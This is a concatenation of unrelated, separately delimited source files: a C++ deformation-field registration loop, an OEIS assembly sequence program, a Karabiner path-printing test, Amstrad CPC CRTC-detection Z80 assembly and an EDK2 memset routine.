deformationCache[sourceID][targetID]=TransfUtils<ImageType>::linearInterpolateDeformationField( deformationCache[sourceID][targetID],(ConstImagePointerType) (*inputImages)[targetID]);
if (trueDefListFilename!=""){
trueDeformations[sourceID][targetID]=TransfUtils<ImageType>::linearInterpolateDeformationField( trueDeformations[sourceID][targetID],(ConstImagePointerType) (*inputImages)[targetID]);
}
}
}
}
}
ImagePointerType ROI;
if (ROIFilename!="") {
ROI=ImageUtils<ImageType>::readImage(ROIFilename);
ROI=FilterUtils<ImageType>::LinearResample(ROI,1.0/resamplingFactor);
}
SolverAQUIRCLocal<ImageType> * solver;
solver= new SolverAQUIRCLocal<ImageType>;
solver->setCircleWeights(w1,w3);
for (int h=0;h<maxHops;++h){
solver->SetVariables(&imageIDs,&deformationCache,&trueDeformations,ROI);
solver->SetRegularization(lambda);
solver->createSystem();
solver->solve();
if (outputDir!=""){
solver->storeResult(outputDir,solverName);
}
map< string, map <string, DeformationFieldPointerType> > * estimatedDeforms=solver->getEstimatedDeformations();
solver->computeError(estimatedDeforms);
deformationCache=*estimatedDeforms;
if (outputDir!=""){
for (int t=0;t<imageIDs.size();++t){
string targetID=imageIDs[t];
for (int s=0;s<imageIDs.size();++s){
if (s!=t){
string sourceID=imageIDs[s];
DeformationFieldPointerType def= deformationCache[sourceID][targetID];
if (resamplingFactor !=1.0){
def=TransfUtils<ImageType>::bSplineInterpolateDeformationField(def,origReference);
}
ostringstream oss;
oss<<outputDir<<"/deformation-"<<solverName<<"-from-"<<sourceID<<"-to-"<<targetID<<"-hop"<<h<<".mha";
ImageUtils<DeformationFieldType>::writeImage(oss.str().c_str(),def);
}
}
}
}
delete estimatedDeforms;
}
return 1;
}//main
|
; A058896: a(n) = 4^n - 4.
; -3,0,12,60,252,1020,4092,16380,65532,262140,1048572,4194300,16777212,67108860,268435452,1073741820,4294967292,17179869180,68719476732,274877906940,1099511627772,4398046511100,17592186044412,70368744177660,281474976710652,1125899906842620,4503599627370492,18014398509481980,72057594037927932,288230376151711740,1152921504606846972,4611686018427387900,18446744073709551612,73786976294838206460,295147905179352825852,1180591620717411303420,4722366482869645213692,18889465931478580854780
mov $1,4
pow $1,$0
sub $1,4
mov $0,$1
|
#include "constants.hpp"
#include <iostream>
int main(int argc, const char* argv[]) {
std::cout << "get_user_configuration_directory: " << krbn::constants::get_user_configuration_directory() << std::endl;
std::cout << "get_user_complex_modifications_assets_directory: " << krbn::constants::get_user_complex_modifications_assets_directory() << std::endl;
std::cout << "get_user_data_directory: " << krbn::constants::get_user_data_directory() << std::endl;
std::cout << "get_user_log_directory: " << krbn::constants::get_user_log_directory() << std::endl;
std::cout << "get_user_pid_directory: " << krbn::constants::get_user_pid_directory() << std::endl;
std::cout << "get_user_core_configuration_file_path: " << krbn::constants::get_user_core_configuration_file_path() << std::endl;
std::cout << "get_user_core_configuration_automatic_backups_directory: " << krbn::constants::get_user_core_configuration_automatic_backups_directory() << std::endl;
std::cout << "get_virtual_hid_device_service_client_socket_file_path: " << krbn::constants::get_virtual_hid_device_service_client_socket_file_path() << std::endl;
std::cout << std::endl;
return 0;
}
|
; 0: Test VBL
; 1: Test Reg12/13
TEST034 EQU 0
; http://quasar.cpcscene.net/doku.php?id=coding:test_crtc
; Il faudrait tester le CRTC4 aussi, car il faudrait le patcher aussi
; Pour le CRTC2 par contre...
TestCRTC:
if PATCH_MODE==2
print "Pas de Patch CRTC"
else
if PATCH_MODE==0
; Test si CRTC 1 ou 2
if TEST034==2
TestLongueurVBL
print "Test VBL"
ld b,#f5 ; Boucle d'attente de la VBL
SyncTLV1
in a,(c)
rra
jr nc,synctlv1
NoSyncTLV1
in a,(c) ; Pre-Synchronisation
rra ; Attente de la fin de la VBL
jr c,nosynctlv1
SyncTLV2
in a,(c) ; Deuxième boucle d'attente
rra ; de la VBL
jr nc,synctlv2
ld hl,140 ; Boucle d'attente de
WaitTLV dec hl ; 983 micro-secondes
ld a,h
or l
jr nz,waittlv
in a,(c) ; Test de la VBL
rra ; Si elle est encore en cours
ret NC ; type 0,3,4 = On ne fait rien, c'est sensé marcher
endif
; Autres test possible
if TEST034==1
TestBFxx
print "Test BFXX"
ld bc,#bc0c ; On sélectionne le reg12
out (c),c
ld b,#bf ; On lit sa valeur
in a,(c)
ld c,a ; si les bits 6 ou 7 sont
and #3f ; non nuls alors on a un
cp c ; problème
ret nz ; emulateur alien => on ne fait rien
ld a,c
or a ; si la valeur est non nulle
ret nz ; alors on a un type 0,3,4
ld bc,#bc0d
out (c),c ; On sélectionne le reg13
ld b,#bf
in a,(c) ; On lit sa valeur
or a ; Si la valeur est non nulle
ret nz ; alors on a un type 0,3,4
endif
; Sinon on a un type 1,2... si c'est 1 on devrait pouvoir patcher
; Si c'est 2, on doit désactiver les split CRTC, rester en raster
; Ou quitter...
; Test CRTC 1
; Test basé sur la détection du balayage des lignes hors border
; Permet d'identifier le type 1
; Bug connu rarissime: si reg6=0 ou reg6>reg4+1 alors le test est faussé !
TestBorder:
print "Test Border"
ld b,#f5
NoSyncTDB1
in a,(c) ; On attend un peu pour etre
rra ; sur d'etre sortis de la VBL
jr c,nosynctdb1 ; en cours du test précédent
SyncTDB1
in a,(c) ; On attend le début d'une
rra ; nouvelle VBL
jr nc,synctdb1
NoSyncTDB2
in a,(c) ; On attend la fin de la VBL
rra
jr c,nosynctdb2
ld ix,0 ; On met @ zéro les compteurs
ld hl,0 ; de changement de valeur (IX),
ld d,l ; de ligne hors VBL (HL) et
ld e,d ; de ligne hors border (DE)
ld b,#be
in a,(c)
and 32
ld c,a
SyncTDB2
inc de ; On attend la VBL suivante
ld b,#be ; en mettant @ jour les divers
in a,(c) ; compteurs
and 32
jr nz,border
inc hl ; Ligne de paper !
jr noborder
Border ds 4
NoBorder
cp c
jr z,nochange
inc ix ; Transition paper/border !
jr change
NoChange
ds 5
Change ld c,a
ds 27
ld b,#f5
in a,(c)
rra
jr nc,synctdb2 ; On boucle en attendant la VBL
db #dd: ld a,l ; Si on n'a pas eu juste deux transitions alors ce n'est
cp 2 ;
ret nz ; pas un type 1
endif
; Type 1: on patche le code split CRTC
; => il faudrait tester si c'est pas un type2
; auquel cas, on arrete (ou on fait que du split raster)
patch_crtc1:
; c = Numero du registre
ld bc,#0B06 ; b = 11 entrées dans la table
ld de,4 ; Pas
ld HL,scr_bloc+3
patch_tab:
ld (hl),c
add hl,de
djnz patch_tab
; 2 octets pour les valeur a envoyer au reg
;ld a,e ; e=4
ld a,#7f
ld (CRTC_PATCH2+1),a
xor a
ld (CRTC_PATCH1+1),a
; Valeur a rétablir?
ret
endif
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SetMem.Asm
;
; Abstract:
;
; SetMem function
;
; Notes:
;
;------------------------------------------------------------------------------
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID *
; EFIAPI
; InternalMemSetMem (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT8 Value
; )
;------------------------------------------------------------------------------
global ASM_PFX(InternalMemSetMem)
ASM_PFX(InternalMemSetMem):
push rdi
mov rax, r8 ; rax = Value
mov rdi, rcx ; rdi = Buffer
xchg rcx, rdx ; rcx = Count, rdx = Buffer
rep stosb
mov rax, rdx ; rax = Buffer
pop rdi
ret
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.